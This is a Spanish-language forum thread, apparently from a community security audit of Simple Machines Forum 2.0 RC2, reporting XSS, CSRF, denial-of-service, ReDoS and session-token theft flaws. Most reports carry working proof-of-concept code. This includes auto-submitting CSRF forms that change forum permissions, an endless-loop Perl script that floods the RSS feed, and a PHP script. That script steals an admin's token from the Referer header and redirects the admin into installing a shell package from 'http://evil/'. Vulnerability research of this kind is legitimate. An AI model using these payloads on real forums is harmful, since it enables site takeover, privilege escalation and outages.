Auditoría de seguridad hacia Simple Machines Forum 2.0

Iniciado por WHK, 18 Octubre 2009, 23:13 PM

0 Miembros y 2 Visitantes están viendo este tema.

WHK

#30
Detalles


 
 
 
 
 
 
Descripción:XSS en el administrador de paquetes
Descubierto por:cicatriz.r00t@gmail.com
Código vulnerable:Sources/Packages.php:1384
URL Vulnerable:N/A
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2



Descripción

Este ataque de Cross-Site Scripting sucede cuando especificamos como FTP
Server ("pack_server" input) algo como:
Código (html4strict) [Seleccionar]
"/onmouseover="alert(0);

Este problema reside en la linea 1384 del archivo Sources/Packages.php
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Packages.php#1384

Aunque tambien se puede ver en otras variables:
Código (bash) [Seleccionar]
+++Packages.php @@ 1381:1388
 1381 if (isset($_POST['submit']))
 1382 {
 1383 updateSettings(array(
 1384 'package_server' => $_POST['pack_server'],
 1385 'package_port' => $_POST['pack_port'],
 1386 'package_username' => $_POST['pack_user'],
 1387 'package_make_backups' => !empty($_POST['package_make_backups'])
 1388 ));
---Packages.php


Esto se puede hacer automáticamente mediante CSRF, que aunque tiene un token el
formulario original no es checkeado.

Entonces el código seria simple:
Código (html4strict) [Seleccionar]
<body onload="document.forms[0].elements[4].click();">
<form accept-charset="UTF-8" method="post"
action="/index.php?action=admin;area=packages;sa=options">
<input type="text" size="30"
value="&#34;&#62;&#60;&#105;&#102;&#114;&#97;&#109;&#101;&#47;&#115;&#114;&#99;&#61;&#34;&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#48;&#41;&#34;&#62;"
id="pack_server" name="pack_server"/>
<input type="text" value="" size="3" id="pack_port" name="pack_port"/>
<input type="text" size="30" value="" id="pack_user" name="pack_user"/>
<input type="checkbox" checked="checked" class="check" value="1"
id="package_make_backups" name="package_make_backups"/>
<input type="submit" value="Save" name="submit"/>
</form>
</body>


Solo con que se cumpla el if() se alojan las variables:
Citar1381      if (isset($_POST['submit']))

El ataque XSS también se ejecuta en la sección de "File Permissions".

WHK

#31
Detalles


 
 
 
 
 
 
Descripción:CSRF en la union de temas
Descubierto por:ysk.sft@gmail.com
Código vulnerable:N/A
URL Vulnerable:N/A
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2



Descripción

Este CSRF permite obligar a algún moderador o cualquiera con el poder de
unir 2 topics a unirlos.

Dejo un ejemplo de un html que obliga a unir el topic 1 con el topic 4 .

Código (html4strict) [Seleccionar]
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js"></script>
<script>
   $(document).ready(function(){
     $("#id_formulario").submit();
   });
</script>
<form id="id_formulario" action="http://localhost/foro2/index.php?action=mergetopics;sa=execute" method = "POST" target = "asdf" >
<input name="topics[]" value="1" />
<input name="notifications[]" value="1" />
<input name="topics[]" value="4" />
<input name="notifications[]" value="4" />
<input name="subject" value="0" />
<input name="custom_subject" value="Nuevo titulo" />
<input name="enforce_subject" value="1" />
<input name="sa" value="execute" />
</form>

<iframe name="asdf" id="asdf" src="/ruta/archivo.html"></iframe>

WHK

Detalles


 
 
 
 
 
 
Descripción:CSRF permite darle permisos a los usuarios normales para modificar permisos del foro
Descubierto por:ysk.sft@gmail.com
Código vulnerable:N/A
URL Vulnerable:N/A
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2



Descripción

Este CSRF permitiria solo haciendo que el administrador visite una web de
nosotros con su sesion de su foro abierta hacer que le de permisos a los
usuarios normales para cambiar los permisos de los grupos como por ejemplo
los moderadores globales .

El error fue probado en SMF 2.0 RC2 ;)

Ejemplo de un HTML que cambiaria los permisos:

Código (html4strict) [Seleccionar]
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js"></script>
<script>
   $(document).ready(function(){
     $("#id_formulario").submit();
   });
</script>
<form id="id_formulario" action="http://localhost/foro2/index.php?action=admin;area=permissions;save;sa=settings" method = "POST" target = "asdf" >
<input name="manage_permissions[0]" value="on" />
<input name="manage_permissions[2]" value="off" />
<input name="manage_permissions[4]" value="off" />
<input name="manage_permissions[5]" value="off" />
<input name="manage_permissions[6]" value="off" />
<input name="manage_permissions[7]" value="off" />
<input name="manage_permissions[8]" value="off" />
<input name="permission_enable_deny" value="1" />
<input name="permission_enable_postgroups" value="1" />
</form>
<iframe name="asdf" id="asdf" src="/ruta/archivo.html"></iframe>

WHK

#33
Detalles


 
 
 
 
 
 
Descripción:CSRF permite borrar una encuesta
Descubierto por:ysk.sft@gmail.com
Código vulnerable:N/A
URL Vulnerable:N/A
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2



Descripción

Consigue borrar cualquier encuesta .
Código (html4strict) [Seleccionar]
<form id="id_formulario"
action="http://localhost/foro2/index.php?action=removepoll;topic=1.0 method = "POST"
target = "asdf" >

WHK

Detalles


 
 
 
 
 
 
Descripción:CSRF permite elevar privilegios de usuarios normales para modificar los smileys
Descubierto por:ysk.sft@gmail.com
Código vulnerable:N/A
URL Vulnerable:N/A
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2



Descripción

El CSRF se encuentra en /index.php?action=admin;area=smileys;save;sa=settings
y permite hacer que los usuarios normales tengan poderes para modificar los
smileys.

Aparte de modificar los smileys tambien se puede aprovechar para ver la
ruta de los archivos algo como un path discloure en
/index.php?action=admin;area=smileys;sa=settings.

Código (html4strict) [Seleccionar]
<form id="id_formulario"
action="http://localhost/foro2/index.php?action=admin;area=smileys;save;sa=settings
method = "POST" target = "asdf" style="visibility:hidden;">
<input name="manage_smileys[0]" value="on" />
</form>

WHK

#35
Detalles


 
 
 
 
 
 
Descripción:RSS DoS
Descubierto por:WHK@elhacker.net
Código vulnerable:Sources/News.php:83
URL Vulnerable:N/A
PoC:$peticion = 'GET /.xml.html;sa=news;limit=999;type=rss HTTP/1.1
Afecta a:‭‬SMF 1.1.10 y 2.0 RC2



Descripción

El bug consiste en que SMF pone como límite 256 items al momento de
visualizar el rss del foro. Si intentas visualizar las 256 entradas unas 5
veces de forma simultanea puedes hacer colapsar la base de datos y elevar
el pid a las nuves.
De todas formas este valor máximo es configurable pero por defecto viene un
valor demasiado elevado para un servidor standard compartido.

el problema se centra en el archivo Sources/News.php linea 83
Código (php) [Seleccionar]
$_GET['limit'] = empty($_GET['limit']) || (int) $_GET['limit'] < 1 ? 5 :
min((int) $_GET['limit'], 255);


Aunque mas abajo si impone un límite que puedes manupular desde el panel de
administración pero estos 255 que al final se transforman en 256 van por
defecto.

Nota: si haces un fork cada 10 conexiones simultaneas terminas cosinando
huevos fritos sobre el procesador del servidor.

Prueba de concepto:
Código (perl) [Seleccionar]
#!/usr/bin/perl

# Prueba de concepto realizado para testear la vulnerabilidad de
# simplemachines forum 2.0 RC2 y 1.1.10.
# SimpleAudit elhacker.net

use IO::Socket;

# autoflush activado
$| = 1;

$host = 'foro.indeseable.ejemplo';

$peticion = 'GET /.xml.html;sa=news;limit=999;type=rss HTTP/1.1
Host: '.$host.'
User-Agent: PEC-Matic V1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close

';

print "Conectando... \n";

for(;;) {
$socket = IO::Socket::INET->new(
 PeerAddr => $host,
 PeerPort => 80,
 Proto => 'tcp',
 Timeout  => 1
);
if($socket){
 print '.';
 $socket->send($peticion);
 close($socket);
}else{
 print 'x';
}
}

print "\nTerminado.\n";
exit(1);

WHK

#36
Detalles


 
 
 
 
 
 
Descripción:Robo del token de sesión
Descubierto por:WHK@elhacker.net
Código vulnerable:Sources/Post.php:815 y Themes/classic/Display.template.php:407
URL Vulnerable:N/A
PoC:N/A
Afecta a:‭‬SMF 1.1.10 y 2.0 RC2



Descripción

Esta vulnerabilidad permite el robo de tu hash que evita cualquier tipo de
ataque CSRF, esto significa que si logras obtener dicho hash podrás
realizar cualquier tipo de acción arbitraria.

Para demostrar este bug hacemos un post cualquiera en nuestro foro de
pruebas, luego vamos a ese post y le hacemos click en el botón "quote" o
"citar", en ese momento comenzarás a crear una respuesta al post con una
citación y si te das cuenta has incluido en la url tu token de seguridad y
mas abajo se incluyen los post anteriores INCLUYENDO código bbc interpretado.
Esto quiere decir que puedes realizar un post con una imagen enlazada a tu
servidor web, entonces cuando alguien haga una cita de un post que se
encuentre en la misma página de post tuyo se incluirá la visualización de
dicha imagen y quedará grabado tu token en mis logs de acceso.

Puedes crear un script automatizado que actue de imagen y si captura de
referencia algún token entonces será capturado y enviará una redireción
hacia un ataque de tipo CSRF incluyendo tu token bypaseando el sistema de
seguridad de smf.

El problema está en todos los themes de smf xD incluyendo el theme clásico
ya que lleva el token de forma nativa en el enlace l igual que todos los
themes.
Themes/classic/Display.template.php linea 407

También es en parte problema de la función que procesa el citado de post ya
que te exige por obligación dicho token y no debería pedirse
Sources/Post.php linea 815
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Post.php#815

También hay que recordar las vulnerabilidades encontradas en el cual
necesitas el token del usuario.

PoC:
Código (php) [Seleccionar]
<?php

/* Evitamos un error inesperado */
error_reporting(0);

/* Imagen a visualizar */
$imagen_carnada 'http://t2.gstatic.com/images?q=tbn:MBl2gp1VvxRl2M:http://rufadas.com/wp-content/uploads/2007/04/cara-de-culo.jpg';
$servidor_shell 'http://evil/';
$mod_shell 'shell_mod.zip';

$referer $_SERVER['HTTP_REFERER'];
$referer explode(';'$referer);
/* Token formado por un hash de 32 carácteres
mas un nombre de variable al azar */
foreach($referer as $token){
 
$token explode('='$token);
 if(
strlen($token[0]) > 6){
  if(
strlen($token[1]) == 32){
   
$url_foro $_SERVER['HTTP_REFERER'];
   
$url_foro explode('index.php'$url_foro);
   
$url_foro $url_foro[0];
   
/* Apostamos a un CSRF apuntando al panel de administración */
   
header(
    
'location: '.$url_foro.'index.php?action=admin;'.
    
'area=packages;get;sa=download;byurl;package='.
    
urlencode($servidor_shell).';filename='.urlencode($mod_shell).';'.
    
$token[0].'='.$token[1]);
   exit;
  }
 }
}

/* No hay token */
header('Content-Type: image/jpeg');
echo 
file_get_contents($imagen_carnada);
exit;
?>


Nota de YST:
CitarEste bug tambien permite que se pueda olbigar a que no puedan editar un post al
postear la imagen en el mismo topic , ya que si se usa para cerrar sesion no permite
guardar el post editado .

WHK

#37
Detalles


 
 
 
 
 
 
Descripción:ReDoS en htmltrim
Descubierto por:sirdarckcat@elhacker.net
Código vulnerable:Sources/Load.php:198
URL Vulnerable:N/A
PoC:smfFunc['htmltrim']('x                                         y');
Afecta a:‭‬SMF 1.1.10 y 2.0 RC2



Descripción

http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Load.php#198
smfFunc['htmltrim']('x                                         y');

deberia causar un DoS en PREG.. este puede causar problemas a futuro (como
con http://www.google.com/::((((((((((((((((((((((( )

prueben con:
Código (php) [Seleccionar]
preg_replace('~^(?:[ \t\n\r\x0B\x00]| )+|(?:[ \t\n\r\x0B\x00]|
)+$~u','','x'.str_repeat(' ',15).'y');


deberia regresarles un string vacio.. hay que checar donde se usa esta
funcion para ver si podemos abusar del hecho que regrese un string vacio.

Saludos!!

WHK

#38
Detalles


 
 
 
 
 
 
Descripción:DoS en el acceso al foro
Descubierto por:sirdarckcat@elhacker.net
Código vulnerable:Sources/QueryString.php;108 , Sources/QueryString.php:126 y Sources/QueryString.php:112
URL Vulnerable:index.php?http:// o index.php?1=1
PoC:Cookie: GLOBALS
Afecta a:‭‬SMF 2.0 RC2



Descripción

Por la siguiente linea:
Código (php) [Seleccionar]
       if (isset($_REQUEST['GLOBALS']) || isset($_COOKIE['GLOBALS']))
               die('Invalid request variable.');


http://code.google.com/p/smf2-review/source/browse/trunk/Sources/QueryString.php#108

Si podemos poner una cookie llamada GLOBALS el usuario no podra entrar al
foro.. no es explotable per-se porque necesitamos una manera de poner dicha
cookie.. y si podemos poner cookies es mas facil denegar el acceso con
cookies largas, pero bueno..

Lo mismo va para parametros con numeros:
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/QueryString.php#112

Código (php) [Seleccionar]
       foreach (array_merge(array_keys($_POST), array_keys($_GET),
array_keys($_FILES)) as $key)
               if (is_numeric($key))
                       die('Numeric request keys are invalid.');


Eso es para evitar problemas de un bug que habia en unset()..
no es tan peligroso ya pero pues..

http://tu-foro-smf/index.php?http://
wtf?
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/QueryString.php#126

si necesitan una Url que diga:
Citarheader('HTTP/1.1 400 Bad Request');

ahi la tienen, puede servir para forzar un error aveces..

WHK

#39
Detalles


 
 
 
 
 
 
Descripción:XSS en la subida de archivos
Descubierto por:ysk.sft@gmail.com
Código vulnerable:N/A
URL Vulnerable:N/A
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2



Descripción

Al subir archivos mediante el upload de los post si uno modifica las
cabezeras para modificar el nombre del archivo y metes codigo(como <a
href='‭‬javascript:alert(0);' >test.php) , este se ejecutara cuando modificas
el post y cuando se ve por
index.php?action=profile;area=showposts;sa=attach;u=IDUSER los archivos
subidos.

Saludos.